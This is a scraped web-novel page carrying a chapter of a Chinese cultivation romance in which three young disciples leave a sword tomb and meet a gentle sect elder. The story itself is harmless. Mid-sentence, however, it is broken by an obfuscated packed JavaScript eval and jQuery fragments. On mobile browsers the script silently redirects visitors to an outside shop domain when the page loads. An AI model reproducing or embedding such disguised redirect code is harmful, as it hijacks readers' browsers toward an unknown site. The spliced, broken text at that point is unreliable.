文趣网 > 都市小说 > 首席他为何夜不归宿? > 11. 不易
    天光大亮。

    剑冢外,入口石碑被一方困阵包绕,周围地面上枝叶四散,尽是被困阵碾过的痕迹。

    身着白袍的执法堂弟子王宁探查一圈,对着负手立于树下的玄月真人行了一礼,汇报道:“真人晨安。困阵中并无活物,周围四见施法者身影。依据阵中灵气浓度判断,触发时间约在今晨子时。”

    玄月真人颔首,一言不发。

    王宁没忍住,打了个哈欠。昨夜轮到她值班,她没偶遇前夜值班弟子口中“在执法堂盘桓许久的陆首席”,本就烦躁,将将熬到下值时辰,正是困倦时,又接到弟子报告——剑冢前有异动,她只能拖着疲惫的身体过来探查。

    她瞟了眼玄月真人,心中盘算,这位长老最是和善,从不为难弟子,等会儿回值舍休憩一番,下午还能去看大比擂台,说不定能看到陆首席的比赛呢。

    念头至此,王宁振奋精神,追问:“真人,可要加派弟子,进入剑冢继续查探?”

    话虽如此,她却暗暗求道:不要加班!不要加班!浮云剑祖在上,弟子以后一定好好听课,好好修习,只求今天不要加班!

    玄月真人微微一笑,拒绝道:“不必,你自去忙,这困阵之主,我已心中有数。”

    王宁如逢大赦,喜不自胜念叨两句“真人再见”,随即脚底抹油一溜烟跑没影儿了。

    至于到底是谁闲的无聊,在剑冢前布置困阵,她才懒得管,反正玄月真人说的肯定没错。

    徒留玄月一人在入口处,静静凝望那块巍峨的石碑。

    剑冢内,烈日当空,黄沙满天。

    陆让牵着兰舟与左素,行走在飞扬的沙尘之中。

    几人已行半个多时辰,日头毒辣的很,晒得左素满头大汗,哭爹喊娘:“我走不动啦!走不动啦!我要休息!”

    兰舟瞪他一眼:“方才不是刚歇过吗!”

    左素委屈:“可我没歇够嘛。在沼泽中为了救你,我消耗太多灵力了。”

    “行吧行吧。”兰舟妥协。

    陆让起了一卦算算时辰:“还有些时间,便依你再休息片刻。”

    众人在一块巨石的影子中坐下。

    兰舟倚着石头,曲起一条腿,百无聊赖地把玩折扇。

    啪嗒,展开。

    啪嗒,合上。

    啪嗒,再展开。

    啪嗒,再合上。

    脆弹的声音在空旷沙漠中显得分外响亮。

    陆让盘腿端坐,折扇每开合一次,他的眉头就拧紧一分,直到拧成两股麻花,他才忍无可忍道:“安静点。”

    “嘁。”兰舟不屑地努努嘴,到底是停手了。

    左素取出水囊,猛灌一大口水,喝的太急,水液溢出,顺着嘴角流进衣襟里,他看着干净整洁一滴汗都无的陆让,心生羡慕。经过之前陆让递还佩剑的事,他已不再怵他,直接开口道:“陆首席,你、你看起来真凉快。”

    这话一出,陆让还没反应,兰舟噗嗤笑出声来。

    两人齐齐转头看她。

    兰舟笑道:“凉快,哈哈哈哈,亏你想的出来,哈哈哈哈哈,这大概就是冰灵根的好处罢——夏天总是不会热的!哈哈哈!”

    她笑的开怀,杏眼弯成一道月牙,更显出从前的灵动狡黠来。

    陆让心头一跳,不敢再看,忙转开视线,突然对脚下的黄沙生出许多兴趣。

    又听兰舟吩咐道:“陆首席,多多发挥你冰灵根的妙用,快凝些冰块来降降暑气。”

    于是那缕悸动顷刻间被吹散了,陆让按住额角跳动的青筋,咬牙道:“我修习多年,不是为了给你当冰块用的。”

    兰舟笑嘻嘻:“几个冰块而已,能耗多少气力?你就当可怜可怜左素罢,捱得如此辛苦。”

    左素也附和:“是呀是呀。”

    陆让冷哼一声。须臾,几团拳头大的冰块,自空中凝出,飞到两人面前。

    左素凑近,凉意铺面而来,顿觉神清气爽,他喃喃道:“冰灵根真是好用啊。”

    兰舟也伸出手去触碰那冰块。

    左素有种直觉,兰舟与陆让在那藤笼出来后,他俩之间有什么东西悄然发生改变。

    他说不上具体的,只是进藤笼前这两位还打得要死要活的,出来之后莫名其妙缓和许多。

    就像一层横亘其间的坚冰,一下融化。

    但这话题太过私隐,他没问,瞧着兰舟笑意酣畅,他小心措辞,谨慎道:“阿舟,你不是一直很想拿到那把剑吗?怎么……”

    怎么又把白露丢在沼泽中?

    陆让没说话,一双耳朵却高高竖起——他也想知道这个问题的答案。

    顿时三人又安静下来,静得只有猎猎的风声。

    兰舟久未回答,一双杏眼瞪着,瞧得左素心中惴惴——是不是问题太不合适宜?

    就在他心中的不安越来越大、思考说些什么来补救气氛的时候,兰舟扑哧一声笑划破沉默:

    “瞧你吓的。就是觉得没必要。”

    “没必要?”

    “是啊,没必要。”兰舟收回左腿,换成右腿屈曲,“没必要搞这么沉重,没必要如此坚持,没必要挽留一把不心属我的剑。”

    她盘着冰块,轻松道:“说来奇怪,一旦我冒出这种想法,念头立刻通达起来,彷佛挣脱樊笼,得见天光一般。”

    连陆让捆她的事情都不想计较,甚至丹田内久久凝滞的修为,也出现松动迹象。

    兰舟捂住腹部,漫不经心想。

    “哦。”左素似懂非懂点头。

    陆让也沉默,这样轻松惬意的兰舟,给他陌生的感觉,彷佛对她来说一切都不重要,一切都可抛下,他有些心烦意乱,只好催促道:“时候差不多了,出发吧。”

    几人再行半个时辰,越过漫漫的沙漠,终于抵达剑冢出口。

    古朴的大门矗立。

    兰舟打量腕上缚灵索,眼睛转了几转,忽道:“哎呀,大比还有两个时辰就开始啦!时间太紧张,不若我们仨先去擂台,晚些再随你去见长老。”

    陆让面无表情:“然后先将缚灵索收回是吧?”

    兰舟点头如蒜捣:“自然,自然。”

    “想的倒美。”

    陆让收紧绳索,拽着两人步入出口。

    左素东瞧瞧西看看,不明白好端端地,这两人又斗嘴做甚。

    “小气!”兰舟翻个白眼。

    她暗暗盘算寻个其他办法脱身,不防瞧见剑冢外菩提树下那道清矍身影,登时愣在原处。

    过去这么久,她仍然一眼认出——那是玄月真人!

    怎么偏偏是她?

    玄月真人是当年浮云宗内少数几个为兰舟说话的长老之一,兰舟并不讨厌她。

    若是其他长老,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631960|206401||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    兰舟态度恶劣些也罢,但曾给予自己善意的玄月真人,她实在做不出凶恶面孔,于是收起腹中盘算的花花心思,老实地跟在陆让身后。

    陆让也是惊讶,真人现身,说明他私设困阵之事已然暴露。

    无论出于什么理由,他对外宗修士擅闯剑冢隐瞒不报,都是触犯门规,他本就打算自请受罚,只是看在昔日同门情分上,不想兰舟暴露于长老视野中。

    陆让行礼:“真人晨安。”他犹犹豫豫介绍身后狼狈的两人:“此二人……我漫步之时忽觉剑冢异样……”

    玄月真人含笑打断:“我已知晓原委,你且自去擂台参赛,我自有定夺。近几日空闲时,来一趟灵慧堂。”

    陆让迟疑:“真人有何吩咐,我在此处领受,也好立即为您分忧。”

    他说的大义凛然,但玄月真人一眼洞穿,坚持:“你先去参赛。”又附在他耳边,意味深长道,“放心,我不会处罚他俩。”

    心思被戳穿,陆让面上几分羞恼,但言以至此,他只得遵命:“弟子告退。”

    待他离去,树荫下三人陷入沉默。

    玄月真人广袖一挥,缚灵索松开,飞入她袖中。

    兰舟低下头,像只鹌鹑似的,僵持着不肯开口。

    她打定主意,若对面态度强硬,就借左素这傻小子的势脱身。

    不料,玄月真人的目光将她上上下下打量一遍,却没说重话,而是感慨道:

    “神莹内敛,丹田夯实。可见这些年修习不曾懈怠,颇为不易。”

    兰舟没忍住,惊讶抬头,对上玄月温柔的双眸。

    她本做好接受狂风暴雨的准备,但谁知轰隆隆的雷声后,降下的是甘霖般的细雨呢?

    玄月以为她不信,拍拍她的肩膀解释:“此事暂无他人知晓。老身没有理由害你,你且安心。”

    作为德高望重的长老,玄月没有理由欺骗她这个小小弟子。

    兰舟信她。

    她惊讶的是她的语气。

    玄月真人说的话,就像一位平常的长老在安慰小辈。

    自从……自从那件事发生后,从前的旧知己,厌她恶她,婆娑门的新朋友,畏她敬她,人人只道少主兰舟天赋奇绝,将成大器,振兴婆娑门,指日可待。

    说的多了,连她自己也信了。只把汗水擦尽,血泪咽下,化作不停前进的动力。

    再没有人这样亲切地拍拍她,道一句“颇为不易”。

    她鼻头一酸,几乎要溺毙在这沉静的目光中。

    好在她还记得礼节,抹抹眼泪郑重一揖:“多谢真人。”

    身后左素紧随其后:“真人晨安。”

    他不认识玄月真人,起先看见浮云宗长老在树下守株待兔,心中有些惶恐,紧紧盯着兰舟动作。

    但见其态度和缓,兰舟肢体放松,他便也放下心来,心道这位长老倒是很心善。

    玄月真人精明的视线在兰舟身上绕了一圈,见她空手而归,猜测她取剑之行或许不顺,于是并未多说。

    左素本站在远处,玄月没有在意,听见他问安,这才朝着声音来源看过去。

    “嚯!”

    她一声惊呼。

    兰舟循声望去,只见玄月真人端肃的面孔中裂开一道缝隙。

    她吃惊地看着眼前皮肉焦黑、裹在浮云宗白袍中的人:“这、这、剑冢中发生了何事?”